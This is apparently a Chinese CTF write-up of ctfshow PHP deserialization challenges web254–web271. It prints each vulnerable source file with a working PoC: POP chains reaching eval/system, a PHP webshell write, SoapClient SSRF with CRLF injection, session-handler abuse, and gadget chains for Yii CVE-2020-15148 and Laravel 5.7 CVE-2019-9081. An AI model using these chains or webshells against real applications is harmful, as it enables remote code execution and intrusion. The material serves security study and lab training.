抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

感觉排序不是很友好..因为难度不是相对递增的

建议顺序 web254-258、web260、web262-web266、web259、web261、web275-276

然后 web277-278 是 Python 反序列化,不过比较简单

最后是 web267-web274 都是框架的反序列化漏洞,分析起来会麻烦些

web267-270 是 Yii 的 CVE 和 绕过,web271-273 是 Laravel 5.7 和 5.8 的反序列化,

web274是 thinkphp5.1 的反序列化

框架的反序列化有空会(咕咕预订…)额外写文章复现,23333

web254 PHP类简单认识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

poc

1
GET /?username=xxxxxx&password=xxxxxx

web255 简单逻辑

nginx/1.16.1 PHP/7.3.11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

分析:

即要满足

  • 类成员 isViptrue
  • 传入的 username 和 类成员 username 相等
  • 传入的 password 和 类成员 password 相等

username 和 password 已知,反序列化修改 isVip 即可

poc

1
2
3
4
5
6
<?php
class ctfShowUser{}
$user = new ctfShowUser();
$user->isVip = true;
echo urlencode(serialize($user));
?>

image.png

web256 简单逻辑

nginx/1.16.1 PHP/7.3.11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

分析:

即要满足

  • 类成员 isVip 为 true
  • 传入的 username 和 类成员 username 相等
  • 传入的 password 和 类成员 password 相等
  • 类的 username 和 password 不等(原来是相等的)

因为通过反序列化修改原有数据即可

poc

1
2
3
4
5
6
<?php
$user = new ctfShowUser();
$user->isVip = true;
$user->username = '6';
echo urlencode(serialize($user));
?>

image.png

web257 简单POP链

nginx/1.16.1 PHP/7.3.11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

分析:

触发 backDoor 即可

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}

class backDoor{
private $code = 'system("cat ./flag.php");';
}

$user = new ctfShowUser();
echo(urlencode(serialize($user)));
?>

image.png

web258 正则

PHP/5.6.40 正则绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

分析:

绕过正则 /[oc]:\d+:/i , 其实就是 C:数字 或 O:数字 不连续,这里只需让 O:11 不连续即可,比如 O:+11

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}

class backDoor{
public $code = 'system("cat flag.php");';
}

$user = new ctfShowUser();
$user_replace = preg_replace('/([oc]\:)(\d+)/i', '$1+$2', serialize($user));
echo urlencode($user_replace);
?>

image.png

图中 %2b+ 的 url编码

web259 SSRF + CRLF + SoapClient

PHP/7.3.11 SSRF CRLF SoapClient

index.php

1
2
3
4
5
6
7
8
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php (大概如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

分析:

不就 XFF伪造?

image.png

估计给的代码是不完整的,还真实 IP 判断,估计大概是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag = "flag_tari";

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
}

echo "your ip not 127.0.0.1";

搜了一波,奇怪的知识增加了,除了XFF,本题还用到 SSRF(SoapClient)+CRLF组合拳,毕竟我们的 index.php 还有用到呢

需要利用 SSRF 访问 flag.php 并构造 XFF 和 POST 数据,SSRF漏洞在哪呢?

SoapClient类 __call 魔术方法

__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法

当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。

因此,当我们运行 index.php$vip->getFlag(); 方法时,会因 SoapClient 不存在 getFlag 方法而调用 __call() 魔术方法,进而发送一个 POST 请求

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

$post_string = 'token=ctfshow';

$soap = new SoapClient(
null,
array(
'uri'=> "http://127.0.0.1/flag.php",
'location' => 'http://127.0.0.1/flag.php',
'user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
// 'user_agent'=>"edge\x0D\x0AX-Forwarded-For:127.0.0.1,127.0.0.1\x0D\x0AContent-Type: application/x-www-form-urlencoded"."\x0D\x0AContent-Length: ".(string)strlen($post_string)."\x0D\x0A\x0D\x0A".$post_string,
)
);

echo(urlencode(serialize($soap)));

?>

这里注意下,包含特殊字符转义的,比如 \r\n 要用双引号 " 单引号保持原来的语义的。

image.png

warning 没关系

image.png

web260 简单正则

PHP/5.6.40
1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

poc

1
2
3
4
5
6
7
8
9
10
<?php

class ctfShowUser{
public $tari = 'ctfshow_i_love_36D';
}

$user = new ctfShowUser();
echo(urlencode(serialize($user)));

?>

image.png

(原) web261 SSRF Redis

PHP/7.3.11

index.php

1
2
3
4
5
6
7
8
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

分析:

  • 题目提示:打 Redis,默认端口为 6379

image.png

原来的 web261,不知为啥换成了下面这个。

原本的解题思路大概是在 web259 的基础上,构造 POST包去打 redis

web261 PHP特性

nginx/1.18.0 PHP/7.4.16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

分析

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

因这里写着 usernamepassword 必须为非空,否则会退出,所以可以考虑要绕过这里

参考 CVE-2016-7124

  • 影响范围

PHP5 < 5.6.25

PHP7 < 7.0.10

  • 漏洞原理

当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。

但是题目是 PHP 7.4.2 明显不满足要求,

然后guguru了一下比较显眼的 __unserialize 魔术方法,因为没见过

https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize

发现有趣的东西,官方文档是这样介绍的

image.png

就当同时存在 __wakeup__unserialize 魔术方法时,只会调用 __unserialize 魔术方法。

仔细观察析构方法,是个弱比较 $this->code==0x36d

然后 0x36d 的十进制是 877 ,写个小实验

image.png

也就是说弱比较 $code 变量前面是 877 就好了,不管后面加了啥字符串,就可以让 $code == 0x36d 成立了。

构造 POC

1
2
3
4
5
6
7
<?php
class ctfshowvip{
public $username = "877.php";
public $password = '<?php eval($_GET[c]); ?>';
}

echo urlencode(serialize(new ctfshowvip()));

会生成 877.php 然后 cat /flag_is_here 即可

image.png

题外

因为 PHP 底层是用 C语言写的,原本想着用 \0 作为字符串截断,这样不会拼接 $passwod 字段,然后发现,如果第一个参数有 \0file_put_contents 会报错。

image.png

然后

__invoke__sleep 在这里的用处不太清楚。。

web262 字符逃逸

PHP/5.6.40 字符逃逸

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

看注释发现 message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

第一种做法

poc

1
2
3
4
5
6
7
8
9
10
11
<?php

class message{
public $token='admin';
}

$msg = new message();

echo(base64_encode(serialize($msg)));

?>

image.png

第二种做法

因有一个正则替换,注意是序列化后再替换,且替换每次内容长度增加1,假如输入 t=fuck"

image.png

我们输入的 " 刚刚好可以发前面闭合,也就是说,我们每输入一个 fuck,我们可控的内容就多出 1 个字符。

我们目的构造 $token="admin" 序列化长这样

image.png

s:5:"token";s:5:"admin";

加上闭合

1
";``s:5:"token";s:5:"admin";``}

长度为 27

image.png

也就是我们需要输入 27 个 fuck

poc

1
/?f=6&m=6&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image.png

image.png

web263 session伪造

PHP/7.3.11 session伪造

📎www.zip

通过 /www.zip 扫描到源码,这里目录扫描全是 200,建议使用可以看到返回包大小的扫描器,或者有 404 页面识别的扫描器,比如 dirmap

image.png

日常吐槽 fortify,咋啥也扫不出来 (x

seay 发现 file_put_contents 输入可控

image.png

利用前提:

利用点是 session.serialize_handler 与 php.ini 的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了(ini_set('session.serialize_handler', 'php');),毕竟是默认配置对吧

目标:

  • file_put_contents 可控点在 inc/inc.phpUser 类,可以通过反序列化触发 __destruct

思路:

  • 首先访问两次首页,抓包可以看到Cookie limit 参数,构造 exp ,使得我们的反序列化数据写入 session 文件(通过 $_SESSION['limit']=base64_decode($_COOKIE['limit']); 写入,这是PHP session 机制,可参考 此链接
  • inc/inc.php 存在 ini_set('session.serialize_handler', 'php');session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类__destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件。

poc

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class User{
public $username = 'tari.php';
public $password = '<?php system("cat flag.php") ?>';
}

$user = new User();

echo(base64_encode('|'.serialize($user)));

?>

这里加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 keyvalue 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以…. 所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了。

image.png

随便请求一下 check.php

image.png

注意是 log-tari.php !

image.png

web264 字符逃逸

PHP/5.6.40 字符逃逸
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

看注释发现 message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

看注释发现 message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

一开始没看出和 web262 有啥区别,仔细看了一下发现,反序列化时使用了 session 而不是直接通过 Cookie 接收

做法和 web262中第二种做法一样,虽然不是通过 Cookie 接收,也别忘了了 Cookie 的 msg 字段附加个值,不然不满足

1
if(isset($_COOKIE['msg'])){

先请求 index.php (这里 poc 不明白怎么构造看一下 web262 第二种做法)

image.png

因为 PHP 的 session 是通过 Cookie 里的 PHPSESSID 获取的(不清除参考 web263 session 伪造),所以要记录下来,然后在 message.php 里带上。

然后请求一下 message.php , 别忘了 Cookie 部分

image.png

web265 变量引用

PHP/5.6.40 变量引用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

token 会变,让 password 成为 token 的引用就好了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class ctfshowAdmin{
public $token;
public $password;
}

$admin = new ctfshowAdmin();
$admin->password = &$admin->token;

echo(urlencode(serialize($admin)));

?>

image.png

web266 类和方法不区分大小写

PHP/7.3.11 PHP特性 类和方法不区分大小写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

拦截点:序列化数据不能包括 ctfshow,

PHP特性:函数名和类名不区分大小写,变量名区分,例如

image.png

poc

1
2
3
4
5
6
7
8
9
10
<?php

class Ctfshow{
}

$user = new Ctfshow();

echo(serialize($user));

?>

image.png

web267 Yii 框架 CVE

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前

弱密码 admin/admin 登录

about 页面有个 <!--?view-source --> 提示

可以通过 index.php?r=site%2Fabout&view-source 查看提示

这是 Yii 的路由规则,传送门 ,咋知道的 Yii?通过 burp 抓包记录看到很多 yii.js php 搜了下 (

image.png

框架反序列化漏洞,网上应该可以搜到,一个不错的复现和挖掘文章,传送门

有空会(咕咕预订…)额外写文章复现 (

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /fla* tari.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

image.png

image.png

web268 Yii 框架 CVE 补丁绕过 1

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前 补丁绕过

思路类似 web267,估计是打过补丁版本

有空会(咕咕预订…)额外写文章复现 (

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /fla* tari.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

// poc1
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

image.png

image.png

web269 Yii 框架 CVE 补丁绕过 2

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前 补丁绕过

思路类似 web267,估计是打过补丁版本

有空会(咕咕预订…)额外写文章复现 (

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /fla* tari.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
// 有就行
"suiyi"=>array("suiyi"=>"suiyi")
);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

image.png

image.png

web270 Yii 框架 CVE 补丁绕过 3

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前 补丁绕过

思路类似 web267,估计是打过补丁版本

有空会(咕咕预订…)额外写文章复现 (

poc3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('exec', 'cp /fla* tari.txt');
echo(base64_encode(serialize($exp)));
}

image.png

image.png

web271 Laravel 5.7 框架 CVE

PHP/7.1.26 框架审计 CVE-2019-9081 Laravel 5.7登录前

源码

可参考文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));

echo urlencode(serialize($pendingcommand));
}

因代码里是通过 POST 的 data 接收,所以这里是用 data POST 过去

image.png

